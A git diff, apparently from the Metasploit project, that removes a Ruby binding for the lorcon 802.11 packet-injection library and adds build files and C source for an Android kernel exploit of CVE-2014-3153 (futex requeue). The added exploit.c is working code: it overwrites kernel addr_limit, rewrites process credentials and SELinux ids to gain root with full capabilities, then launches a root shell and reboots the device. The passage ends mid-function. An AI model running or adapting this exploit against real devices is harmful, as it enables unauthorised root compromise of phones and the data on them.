Data_Get_Struct(self, struct rldev, rld); - - return rb_str_new2(lorcon_get_error(rld->context)); -} - -static VALUE Lorcon_get_capiface(VALUE self) { - struct rldev *rld; - Data_Get_Struct(self, struct rldev, rld); - - return rb_str_new2(lorcon_get_capiface(rld->context)); -} - -void Lorcon_packet_free(struct rlpack *rlp) { - if (rlp->packet != NULL) { - lorcon_packet_free(rlp->packet); - rlp->packet = NULL; - free(rlp); - } -} - -static VALUE Lorcon_packet_create(int argc, VALUE *argv, VALUE self) { - struct rlpack *rlp; - VALUE obj; - - obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp); - - rlp->packet = (struct lorcon_packet *) malloc(sizeof(struct lorcon_packet)); - memset(rlp->packet, 0, sizeof(struct lorcon_packet)); - - rlp->bssid = NULL; - rlp->dot3 = NULL; - rlp->len = 0; - rlp->dir = 0; - - rb_obj_call_init(obj, 0, 0); - return(obj); -} - -static VALUE Lorcon_packet_get_channel(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - return INT2FIX(rlp->packet->channel); -} - -static VALUE Lorcon_packet_set_channel(VALUE self, VALUE channel) { - struct rlpack *rlp; - - Data_Get_Struct(self, struct rlpack, rlp); - - lorcon_packet_set_channel(rlp->packet, NUM2INT(channel)); - - return channel; -} - -static VALUE Lorcon_packet_get_dlt(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - return INT2FIX(rlp->packet->dlt); -} - -static VALUE Lorcon_packet_get_bssid(VALUE self) { - struct rlpack *rlp; - struct lorcon_dot11_extra *extra; - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->packet->extra_info == NULL || - rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211) - return Qnil; - - extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info; - - if (extra->bssid_mac == NULL) - return Qnil; - - return rb_str_new((char *)extra->bssid_mac, 6); -} - -static VALUE Lorcon_packet_get_source(VALUE self) { - struct rlpack *rlp; - struct lorcon_dot11_extra *extra; - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->packet->extra_info == NULL || - rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211) - return Qnil; - - extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info; - - if (extra->source_mac == NULL) - return Qnil; - - return rb_str_new((char *)extra->source_mac, 6); -} - -static VALUE Lorcon_packet_get_dest(VALUE self) { - struct rlpack *rlp; - struct lorcon_dot11_extra *extra; - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->packet->extra_info == NULL || - rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211) - return Qnil; - - extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info; - - if (extra->dest_mac == NULL) - return Qnil; - - return rb_str_new((char *)extra->dest_mac, 6); -} - -static VALUE Lorcon_packet_get_rawdata(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->packet->packet_raw == NULL) - return Qnil; - - return rb_str_new((char *)rlp->packet->packet_raw, rlp->packet->length); -} - -static VALUE Lorcon_packet_get_headerdata(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->packet->packet_header == NULL) - return Qnil; - - return rb_str_new((char *)rlp->packet->packet_header, rlp->packet->length_header); -} - -static VALUE Lorcon_packet_get_data(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->packet->packet_data == NULL) - return Qnil; - - return rb_str_new((char *)rlp->packet->packet_data, rlp->packet->length_data); -} - - -static VALUE Lorcon_packet_getdot3(VALUE self) { - struct rlpack *rlp; - u_char *pdata; - int len; - VALUE ret; - - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->packet->packet_data == NULL) - return Qnil; - - len = lorcon_packet_to_dot3(rlp->packet, &pdata); - - ret = rb_str_new((char *)pdata, len); - - free(pdata); - - return ret; -} - -static VALUE Lorcon_packet_prepdot3(VALUE self, VALUE dot3) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - rlp->dot3 = (unsigned char *) RSTRING_PTR(dot3); - rlp->len = RSTRING_LEN(dot3); - - return dot3; -} - -static VALUE Lorcon_packet_prepbssid(VALUE self, VALUE bssid) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - rlp->bssid = (unsigned char *)RSTRING_PTR(bssid); - - return bssid; -} - -static VALUE Lorcon_packet_prepdir(VALUE self, VALUE dir) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - rlp->dir = NUM2INT(dir); - - return dir; -} - -static VALUE Lorcon_packet_getdir(VALUE self) { - struct rlpack *rlp; - struct lorcon_dot11_extra *extra; - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->dir != 0) - return INT2FIX(rlp->dir); - - if (rlp->packet == NULL) - return Qnil; - - if (rlp->packet->extra_info == NULL || - rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211) - return Qnil; - - extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info; - - if (extra->from_ds && !extra->to_ds) - return INT2FIX(LORCON_DOT11_DIR_FROMDS); - else if (!extra->from_ds && extra->to_ds) - return INT2FIX(LORCON_DOT11_DIR_TODS); - else if (!extra->from_ds && !extra->to_ds) - return INT2FIX(LORCON_DOT11_DIR_ADHOCDS); - else if (extra->from_ds && extra->to_ds) - return INT2FIX(LORCON_DOT11_DIR_INTRADS); - - return Qnil; -} - -static VALUE Lorcon_packet_get_rawlength(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - return INT2FIX(rlp->packet->length); -} - -static VALUE Lorcon_packet_get_headerlength(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - return INT2FIX(rlp->packet->length_header); -} - -static VALUE Lorcon_packet_get_datalength(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - return INT2FIX(rlp->packet->length_data); -} - -VALUE new_lorcon_packet(struct lorcon_packet **packet) { - struct rlpack *rlp; - VALUE obj; - - obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp); - - rlp->packet = *packet; - rb_obj_call_init(obj, 0, 0); - return(obj); -} - -static VALUE Lorcon_inject_packet(VALUE self, VALUE packet) { - struct rldev *rld; - struct rlpack *rlp; - lorcon_packet_t *pack = NULL; - int ret; - - if (rb_obj_is_kind_of(packet, cPacket) == 0) { - rb_raise(rb_eTypeError, "wrong type expected %s", rb_class2name(cPacket)); - return Qnil; - } - - Data_Get_Struct(self, struct rldev, rld); - Data_Get_Struct(packet, struct rlpack, rlp); - - if (rlp->bssid != NULL && rlp->dot3 != NULL) { - pack = lorcon_packet_from_dot3(rlp->bssid, rlp->dir, rlp->dot3, rlp->len); - ret = lorcon_inject(rld->context, pack); - lorcon_packet_free(pack); - } else { - ret = lorcon_inject(rld->context, rlp->packet); - } - - return INT2FIX(ret); -} - -static VALUE Lorcon_write_raw(VALUE self, VALUE rpacket) { - struct rldev *rld; - int ret; - - Data_Get_Struct(self, struct rldev, rld); - - if(TYPE(rpacket) != T_STRING) { - rb_raise(rb_eArgError, "packet data must be a string"); - return Qnil; - } - - ret = lorcon_send_bytes(rld->context, RSTRING_LEN(rpacket), (unsigned char *)RSTRING_PTR(rpacket)); - return INT2FIX(ret); -} - -static VALUE Lorcon_set_filter(VALUE self, VALUE filter) { - struct rldev *rld; - Data_Get_Struct(self, struct rldev, rld); - return INT2FIX(lorcon_set_filter(rld->context, RSTRING_PTR(filter))); -} - -static VALUE Lorcon_set_channel(VALUE self, VALUE channel) { - struct rldev *rld; - Data_Get_Struct(self, struct rldev, rld); - return INT2FIX(lorcon_set_channel(rld->context, NUM2INT(channel))); -} - -static VALUE Lorcon_get_channel(VALUE self) { - struct rldev *rld; - Data_Get_Struct(self, struct rldev, rld); - return INT2FIX(lorcon_get_channel(rld->context)); -} - -static void rblorcon_pcap_handler(rblorconjob_t *job, struct pcap_pkthdr *hdr, u_char *pkt){ - job->pkt = (unsigned char *)pkt; - job->hdr = *hdr; -} - -static VALUE Lorcon_capture_next(VALUE self) { - struct rldev *rld; - int ret = 0; - struct lorcon_packet *packet; - unsigned char *raw; - pcap_t *pd; - rblorconjob_t job; - Data_Get_Struct(self, struct rldev, rld); - - pd = lorcon_get_pcap(rld->context); - -#ifndef RUBY_19 - TRAP_BEG; -#endif - ret = pcap_dispatch(pd, 1, (pcap_handler) rblorcon_pcap_handler, (u_char *)&job); -#ifndef RUBY_19 - TRAP_END; -#endif - - if (ret == 0) - return(Qnil); - - if (ret < 0 || job.hdr.caplen <= 0) - return INT2FIX(ret); - - raw = malloc(job.hdr.caplen); - if(! raw) return Qnil; - - memcpy(raw, job.pkt, job.hdr.caplen); - packet = lorcon_packet_from_pcap(rld->context, &job.hdr, raw); - lorcon_packet_set_freedata(packet, 1); - - return new_lorcon_packet(&packet); -} - - -static VALUE Lorcon_capture_loop(int argc, VALUE *argv, VALUE self) { - struct rldev *rld; - int count = 0; - int p = 0; - VALUE v_cnt; - VALUE ret; - int fd; - - Data_Get_Struct(self, struct rldev, rld); - - if (rb_scan_args(argc, argv, "01", &v_cnt) >= 1) { - count = FIX2INT(v_cnt); - } else { - count = -1; - } - - fd = lorcon_get_selectable_fd(rld->context); - if(fd < 0 ) { - rb_raise(rb_eRuntimeError, - "LORCON context could not provide a pollable descriptor " - "and we need one for the threaded dispatch loop"); - } - - while (p < count || count <= 0) { - ret = Lorcon_capture_next(self); - if(TYPE(ret) == T_FIXNUM) return(ret); - if(ret == Qnil) { - rb_thread_wait_fd(fd); - } else { - rb_yield(ret); - p++; - } - } - - return INT2FIX(p); -} - - -void Init_Lorcon2() { - mLorcon = rb_define_module("Lorcon"); - - cPacket = rb_define_class_under(mLorcon, "Packet", rb_cObject); - - rb_define_const(cPacket, "LORCON_FROM_DS", INT2NUM(LORCON_DOT11_DIR_FROMDS)); - rb_define_const(cPacket, "LORCON_TO_DS", INT2NUM(LORCON_DOT11_DIR_TODS)); - rb_define_const(cPacket, "LORCON_INTRA_DS", INT2NUM(LORCON_DOT11_DIR_INTRADS)); - rb_define_const(cPacket, "LORCON_ADHOC_DS", INT2NUM(LORCON_DOT11_DIR_ADHOCDS)); - - rb_define_singleton_method(cPacket, "new", Lorcon_packet_create, -1); - rb_define_method(cPacket, "bssid", Lorcon_packet_get_bssid, 0); - rb_define_method(cPacket, "source", Lorcon_packet_get_source, 0); - rb_define_method(cPacket, "dest", Lorcon_packet_get_dest, 0); - - rb_define_method(cPacket, "channel", Lorcon_packet_get_channel, 0); - rb_define_method(cPacket, "channel=", Lorcon_packet_set_channel, 1); - rb_define_method(cPacket, "dlt", Lorcon_packet_get_dlt, 0); - - rb_define_method(cPacket, "rawdata", Lorcon_packet_get_rawdata, 0); - rb_define_method(cPacket, "headerdata", Lorcon_packet_get_headerdata, 0); - rb_define_method(cPacket, "data", Lorcon_packet_get_data, 0); - - rb_define_method(cPacket, "dot3", Lorcon_packet_getdot3, 0); - - rb_define_method(cPacket, "dot3=", Lorcon_packet_prepdot3, 1); - rb_define_method(cPacket, "bssid=", Lorcon_packet_prepbssid, 1); - rb_define_method(cPacket, "direction=", Lorcon_packet_prepdir, 1); - rb_define_method(cPacket, "direction", Lorcon_packet_getdir, 0); - - rb_define_method(cPacket, "size", Lorcon_packet_get_rawlength, 0); - rb_define_method(cPacket, "linesize", Lorcon_packet_get_rawlength, 0); - rb_define_method(cPacket, "headersize", Lorcon_packet_get_headerlength, 0); - rb_define_method(cPacket, "datasize", Lorcon_packet_get_datalength, 0); - - cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject); - rb_define_singleton_method(cDevice, "new", Lorcon_create, -1); - rb_define_method(cDevice, "openinject", Lorcon_open_inject, 0); - rb_define_method(cDevice, "openmonitor", Lorcon_open_monitor, 0); - rb_define_method(cDevice, "openinjmon", Lorcon_open_injmon, 0); - rb_define_method(cDevice, "error", Lorcon_get_error, 0); - rb_define_method(cDevice, "capiface", Lorcon_get_capiface, 0); - - rb_define_method(cDevice, "filter=", Lorcon_set_filter, 1); - rb_define_method(cDevice, "channel=", Lorcon_set_channel, 1); - rb_define_method(cDevice, "channel", Lorcon_get_channel, 0); - - rb_define_method(cDevice, "loop", Lorcon_capture_loop, -1); - rb_define_method(cDevice, "each", Lorcon_capture_loop, -1); - rb_define_method(cDevice, "each_packet", Lorcon_capture_loop, -1); - rb_define_method(cDevice, "write", Lorcon_write_raw, 1); - rb_define_method(cDevice, "inject", Lorcon_inject_packet, 1); - rb_define_module_function(mLorcon, "drivers", Lorcon_list_drivers, 0); - rb_define_module_function(mLorcon, "version", Lorcon_get_version, 0); - rb_define_module_function(mLorcon, "find_driver", Lorcon_find_driver, 1); - rb_define_module_function(mLorcon, "auto_driver", Lorcon_auto_driver, 1); -} - - diff --git a/external/ruby-lorcon2/Lorcon2.h b/external/ruby-lorcon2/Lorcon2.h deleted file mode 100644 index c175ab7dd6..0000000000 --- a/external/ruby-lorcon2/Lorcon2.h +++ /dev/null @@ -1,31 +0,0 @@ -#ifndef _MSFLORCON_H -#define _MSFLORCON_H - -#include -#include -#include -#include -#include - -#include -#include - -struct rldev { - struct lorcon *context; -}; - -struct rlpack { - struct lorcon_packet *packet; - - /* dot3 construction via multiple elements */ - u_char *bssid, *dot3; - int dir, len; -}; - - -typedef struct rblorconjob { - struct pcap_pkthdr hdr; - unsigned char *pkt; -} rblorconjob_t; - -#endif diff --git a/external/ruby-lorcon2/README b/external/ruby-lorcon2/README deleted file mode 100644 index eaea96f856..0000000000 --- a/external/ruby-lorcon2/README +++ /dev/null @@ -1,41 +0,0 @@ -This is an experimental interface for lorcon, a 802.11 library -developed by Joshua Wright and dragorn. This interface is only -available on Linux and with lorcon-supported wireless drivers. - -For more information, please see the lorcon documentation and code: -http://www.802.11mercenary.net/lorcon/ - -To build this extension: - -1) Download, compile, and install lorcon -The latest version of lorcon can pulled from SVN: -$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon -$ cd lorcon -$ ./configure -$ make - $ sudo make install - -- or -- - $ su - # make install - # exit -$ cd .. - -2) build the ruby extension.. -$ ruby extconf.rb -$ make -$ sudo make install - -- or -- -$ su -# make install - - -NOTES: - -if Ubuntu 8.04 (and probably others) bitches about 'mkmf', -you need ruby dev package. - -:~/metasploit/external/ruby-lorcon$ ruby extconf.rb -extconf.rb:2:in `require': no such file to load -- mkmf (LoadError) - from extconf.rb:2 - -:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev diff --git a/external/ruby-lorcon2/extconf.rb b/external/ruby-lorcon2/extconf.rb deleted file mode 100644 index 955244f708..0000000000 --- a/external/ruby-lorcon2/extconf.rb +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env ruby -require 'mkmf' - - -$CFLAGS += " -I/usr/include/lorcon2" - -if ( RUBY_VERSION =~ /^(1\.9|2\.0)/ ) - $CFLAGS += " -DRUBY_19" -end - -if find_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h") - create_makefile("Lorcon2") -else - puts "Error: the lorcon2 library was not found, please see the README" -end - diff --git a/external/ruby-lorcon2/test.rb b/external/ruby-lorcon2/test.rb deleted file mode 100755 index 7dd8803058..0000000000 --- a/external/ruby-lorcon2/test.rb +++ /dev/null @@ -1,59 +0,0 @@ -#!/usr/bin/env ruby - -$:.unshift(File.dirname(__FILE__)) - -require "Lorcon2" -require 'thread' -require "pp" - -intf = ARGV.shift || "wlan0" - -$stdout.puts "Checking LORCON version" - -pp Lorcon.version - -$stdout.puts "\nFetching LORCON driver list" - -pp Lorcon.drivers - -$stdout.puts "\nResolving driver by name 'mac80211'" - -pp Lorcon.find_driver("mac80211") - -$stdout.puts "\nAuto-detecting driver for interface wlan0" - -pp Lorcon.auto_driver(intf) - - -tx = Lorcon::Device.new(intf) -$stdout.puts "\nCreated LORCON context" - -if tx.openinjmon() - $stdout.puts "\nOpened as INJMON: " + tx.capiface -else - $stdout.puts "\nFAILED to open " + tx.capiface + " as INJMON: " + tx.error -end - -def safe_loop(wifi) - @q = Queue.new - reader = Thread.new do - wifi.each_packet {|pkt| @q << pkt } - end - - eater = Thread.new do - while(pkt = @q.pop) - yield(pkt) - end - end - - begin - eater.join - rescue ::Interrupt => e - reader.kill if reader.alive? - puts "ALL DONE!" - end -end - -safe_loop(tx) do |pkt| - pp pkt -end diff --git a/external/ruby-lorcon2/upstream.svn b/external/ruby-lorcon2/upstream.svn deleted file mode 100644 index daeb943a7f..0000000000 --- a/external/ruby-lorcon2/upstream.svn +++ /dev/null @@ -1,11 +0,0 @@ -Path: . -URL: http://802.11ninja.net/svn/lorcon/trunk/ruby-lorcon -Repository Root: http://802.11ninja.net/svn/lorcon -Repository UUID: 61418039-352c-0410-8488-9e586b2135b2 -Revision: 204 -Node Kind: directory -Schedule: normal -Last Changed Author: dragorn -Last Changed Rev: 202 -Last Changed Date: 2009-09-15 09:31:29 -0500 (Tue, 15 Sep 2009) - diff --git a/external/source/exploits/CVE-2014-3153/Android.mk b/external/source/exploits/CVE-2014-3153/Android.mk new file mode 100644 index 0000000000..8132a47f99 --- /dev/null +++ b/external/source/exploits/CVE-2014-3153/Android.mk @@ -0,0 +1,10 @@ + +LOCAL_PATH := $(call my-dir) + +include $(CLEAR_VARS) + +LOCAL_MODULE := exploit +LOCAL_SRC_FILES := exploit.c +LOCAL_CFLAGS := -fno-stack-protector -O0 +include $(BUILD_EXECUTABLE) + diff --git a/external/source/exploits/CVE-2014-3153/Makefile b/external/source/exploits/CVE-2014-3153/Makefile new file mode 100644 index 0000000000..c6ce0c76b0 --- /dev/null +++ b/external/source/exploits/CVE-2014-3153/Makefile @@ -0,0 +1,17 @@ + +all: install + +build: + ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk + +install: build + mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf + +test: build + adb push libs/armeabi/exploit /data/local/tmp/exploit + adb shell "cd /data/local/tmp; ./exploit id" + +clean: + rm -rf libs + rm -rf obj + diff --git a/external/source/exploits/CVE-2014-3153/exploit.c b/external/source/exploits/CVE-2014-3153/exploit.c new file mode 100644 index 0000000000..d012f57a20 --- /dev/null +++ b/external/source/exploits/CVE-2014-3153/exploit.c @@ -0,0 +1,834 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define FUTEX_WAIT_REQUEUE_PI 11 +#define FUTEX_CMP_REQUEUE_PI 12 + +#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a))) + +#define KERNEL_START 0xc0000000 + +#define LOCAL_PORT 5551 + +struct thread_info; +struct task_struct; +struct cred; +struct kernel_cap_struct; +struct task_security_struct; +struct list_head; + +struct thread_info { + unsigned long flags; + int preempt_count; + unsigned long addr_limit; + struct task_struct *task; + + /* ... */ +}; + +struct kernel_cap_struct { + unsigned long cap[2]; +}; + +struct cred { + unsigned long usage; + uid_t uid; + gid_t gid; + uid_t suid; + gid_t sgid; + uid_t euid; + gid_t egid; + uid_t fsuid; + gid_t fsgid; + unsigned long securebits; + struct kernel_cap_struct cap_inheritable; + struct kernel_cap_struct cap_permitted; + struct kernel_cap_struct cap_effective; + struct kernel_cap_struct cap_bset; + unsigned char jit_keyring; + void *thread_keyring; + void *request_key_auth; + void *tgcred; + struct task_security_struct *security; + + /* ... */ +}; + +struct list_head { + struct list_head *next; + struct list_head *prev; +}; + +struct task_security_struct { + unsigned long osid; + unsigned long sid; + unsigned long exec_sid; + unsigned long create_sid; + unsigned long keycreate_sid; + unsigned long sockcreate_sid; +}; + + +struct task_struct_partial { + struct list_head cpu_timers[3]; + struct cred *real_cred; + struct cred *cred; + struct cred *replacement_session_keyring; + char comm[16]; +}; + + +struct mmsghdr { + struct msghdr msg_hdr; + unsigned int msg_len; +}; + +//bss +int uaddr1 = 0; +int uaddr2 = 0; +struct thread_info *HACKS_final_stack_base = NULL; +pid_t waiter_thread_tid; +pthread_mutex_t done_lock; +pthread_cond_t done; +pthread_mutex_t is_thread_desched_lock; +pthread_cond_t is_thread_desched; +volatile int do_socket_tid_read = 0; +volatile int did_socket_tid_read = 0; +volatile int do_splice_tid_read = 0; +volatile int did_splice_tid_read = 0; +volatile int do_dm_tid_read = 0; +volatile int did_dm_tid_read = 0; +pthread_mutex_t is_thread_awake_lock; +pthread_cond_t is_thread_awake; +int HACKS_fdm = 0; +unsigned long MAGIC = 0; +unsigned long MAGIC_ALT = 0; +pthread_mutex_t *is_kernel_writing; +pid_t last_tid = 0; +int g_argc; +char rootcmd[2048] = ""; + + +ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) { + int pipefd[2]; + ssize_t len; + + pipe(pipefd); + + len = write(pipefd[1], writebuf, count); + + if (len != count) { + printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno); + while (1) { + sleep(10); + } + } + + read(pipefd[0], readbuf, count); + + close(pipefd[0]); + close(pipefd[1]); + + return len; +} + +ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) { + int pipefd[2]; + ssize_t len; + + pipe(pipefd); + + write(pipefd[1], writebuf, count); + len = read(pipefd[0], readbuf, count); + + if (len != count) { + printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno); + while (1) { + sleep(10); + } + } + + close(pipefd[0]); + close(pipefd[1]); + + return len; +} + +void write_kernel(int signum) +{ + struct thread_info stackbuf; + unsigned long taskbuf[0x100]; + struct cred *cred; + struct cred credbuf; + struct task_security_struct *security; + struct task_security_struct securitybuf; + pid_t pid; + int i; + int ret; + FILE *fp; + + pthread_mutex_lock(&is_thread_awake_lock); + pthread_cond_signal(&is_thread_awake); + pthread_mutex_unlock(&is_thread_awake_lock); + + if (HACKS_final_stack_base == NULL) { + static unsigned long new_addr_limit = 0xffffffff; + char *slavename; + int pipefd[2]; + char readbuf[0x100]; + + printf("cpid1 resumed\n"); + + pthread_mutex_lock(is_kernel_writing); + + HACKS_fdm = open("/dev/ptmx", O_RDWR); + unlockpt(HACKS_fdm); + slavename = ptsname(HACKS_fdm); + + open(slavename, O_RDWR); + + do_splice_tid_read = 1; + while (1) { + if (did_splice_tid_read != 0) { + break; + } + } + + read(HACKS_fdm, readbuf, sizeof readbuf); + + printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit); + + write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit); + + pthread_mutex_unlock(is_kernel_writing); + + while (1) { + sleep(10); + } + } + + printf("cpid3 resumed.\n"); + + pthread_mutex_lock(is_kernel_writing); + + printf("hack.\n"); + + read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf); + read_pipe(stackbuf.task, taskbuf, sizeof taskbuf); + + cred = NULL; + security = NULL; + pid = 0; + + for (i = 0; i < ARRAY_SIZE(taskbuf); i++) { + struct task_struct_partial *task = (void *)&taskbuf[i]; + + + if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START + && task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START + && task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START + && task->real_cred == task->cred) { + cred = task->cred; + break; + } + } + + read_pipe(cred, &credbuf, sizeof credbuf); + + security = credbuf.security; + + if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) { + read_pipe(security, &securitybuf, sizeof securitybuf); + + if (securitybuf.osid != 0 + && securitybuf.sid != 0 + && securitybuf.exec_sid == 0 + && securitybuf.create_sid == 0 + && securitybuf.keycreate_sid == 0 + && securitybuf.sockcreate_sid == 0) { + securitybuf.osid = 1; + securitybuf.sid = 1; + + printf("task_security_struct: %p\n", security); + + write_pipe(security, &securitybuf, sizeof securitybuf); + } + } + + credbuf.uid = 0; + credbuf.gid = 0; + credbuf.suid = 0; + credbuf.sgid = 0; + credbuf.euid = 0; + credbuf.egid = 0; + credbuf.fsuid = 0; + credbuf.fsgid = 0; + + credbuf.cap_inheritable.cap[0] = 0xffffffff; + credbuf.cap_inheritable.cap[1] = 0xffffffff; + credbuf.cap_permitted.cap[0] = 0xffffffff; + credbuf.cap_permitted.cap[1] = 0xffffffff; + credbuf.cap_effective.cap[0] = 0xffffffff; + credbuf.cap_effective.cap[1] = 0xffffffff; + credbuf.cap_bset.cap[0] = 0xffffffff; + credbuf.cap_bset.cap[1] = 0xffffffff; + + write_pipe(cred, &credbuf, sizeof credbuf); + + pid = syscall(__NR_gettid); + + for (i = 0; i < ARRAY_SIZE(taskbuf); i++) { + static unsigned long write_value = 1; + + if (taskbuf[i] == pid) { + write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value); + + if (getuid() != 0) { + printf("ROOT FAILED\n"); + while (1) { + sleep(10); + } + } else { //rooted + break; + } + } + } + + sleep(1); + + if (g_argc >= 2) { + system(rootcmd); + } else { + system("/system/bin/sh -i"); + } + + system("/system/bin/touch /dev/rooted"); + + pid = fork(); + if (pid == 0) { + while (1) { + ret = access("/dev/rooted", F_OK); + if (ret >= 0) { + break; + } + } + + printf("wait 10 seconds...\n"); + sleep(10); + + printf("rebooting...\n"); + sleep(1); + system("reboot"); + + while (1) { + sleep(10); + } + } + + pthread_mutex_lock(&done_lock); + pthread_cond_signal(&done); + pthread_mutex_unlock(&done_lock); + + while (1) { + sleep(10); + } + + return; +} + +void *make_action(void *arg) { + int prio; + struct sigaction act; + int ret; + + prio = (int)arg; + last_tid = syscall(__NR_gettid); + + pthread_mutex_lock(&is_thread_desched_lock); + pthread_cond_signal(&is_thread_desched); + + act.sa_handler = write_kernel; + act.sa_mask = 0; + act.sa_flags = 0; + act.sa_restorer = NULL; + sigaction(12, &act, NULL); + + setpriority(PRIO_PROCESS, 0, prio); + + pthread_mutex_unlock(&is_thread_desched_lock); + + do_dm_tid_read = 1; + + while (did_dm_tid_read == 0) { + ; + } + + ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0); + printf("futex dm: %d\n", ret); + + while (1) { + sleep(10); + } + + return NULL; +} + +pid_t wake_actionthread(int prio) { + pthread_t th4; + pid_t pid; + char filename[256]; + FILE *fp; + char filebuf[0x1000]; + char *pdest; + int vcscnt, vcscnt2; + + do_dm_tid_read = 0; + did_dm_tid_read = 0; + + pthread_mutex_lock(&is_thread_desched_lock); + pthread_create(&th4, 0, make_action, (void *)prio); + pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock); + + pid = last_tid; + + sprintf(filename, "/proc/self/task/%d/status", pid); + + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt = atoi(pdest); + fclose(fp); + } + + while (do_dm_tid_read == 0) { + usleep(10); + } + + did_dm_tid_read = 1; + + while (1) { + sprintf(filename, "/proc/self/task/%d/status", pid); + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt2 = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt2 = atoi(pdest); + fclose(fp); + } + + if (vcscnt2 == vcscnt + 1) { + break; + } + usleep(10); + + } + + pthread_mutex_unlock(&is_thread_desched_lock); + + return pid; +} + +int make_socket() { + int sockfd; + struct sockaddr_in addr = {0}; + int ret; + int sock_buf_size; + + sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); + if (sockfd < 0) { + printf("socket failed.\n"); + usleep(10); + } else { + addr.sin_family = AF_INET; + addr.sin_port = htons(LOCAL_PORT); + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + } + + while (1) { + ret = connect(sockfd, (struct sockaddr *)&addr, 16); + if (ret >= 0) { + break; + } + usleep(10); + } + + sock_buf_size = 1; + setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size)); + + return sockfd; +} + +void *send_magicmsg(void *arg) { + int sockfd; + struct mmsghdr msgvec[1]; + struct iovec msg_iov[8]; + unsigned long databuf[0x20]; + int i; + int ret; + + waiter_thread_tid = syscall(__NR_gettid); + setpriority(PRIO_PROCESS, 0, 12); + + sockfd = make_socket(); + + for (i = 0; i < ARRAY_SIZE(databuf); i++) { + databuf[i] = MAGIC; + } + + for (i = 0; i < 8; i++) { + msg_iov[i].iov_base = (void *)MAGIC; + msg_iov[i].iov_len = 0x10; + } + + msgvec[0].msg_hdr.msg_name = databuf; + msgvec[0].msg_hdr.msg_namelen = sizeof databuf; + msgvec[0].msg_hdr.msg_iov = msg_iov; + msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov); + msgvec[0].msg_hdr.msg_control = databuf; + msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf); + msgvec[0].msg_hdr.msg_flags = 0; + msgvec[0].msg_len = 0; + + syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0); + + do_socket_tid_read = 1; + + while (1) { + if (did_socket_tid_read != 0) { + break; + } + } + + ret = 0; + + while (1) { + ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0); + if (ret <= 0) { + break; + } + } + + if (ret < 0) { + perror("SOCKSHIT"); + } + printf("EXIT WTF\n"); + while (1) { + sleep(10); + } + + return NULL; +} + +static inline setup_exploit(unsigned long mem) +{ + *((unsigned long *)(mem - 0x04)) = 0x81; + *((unsigned long *)(mem + 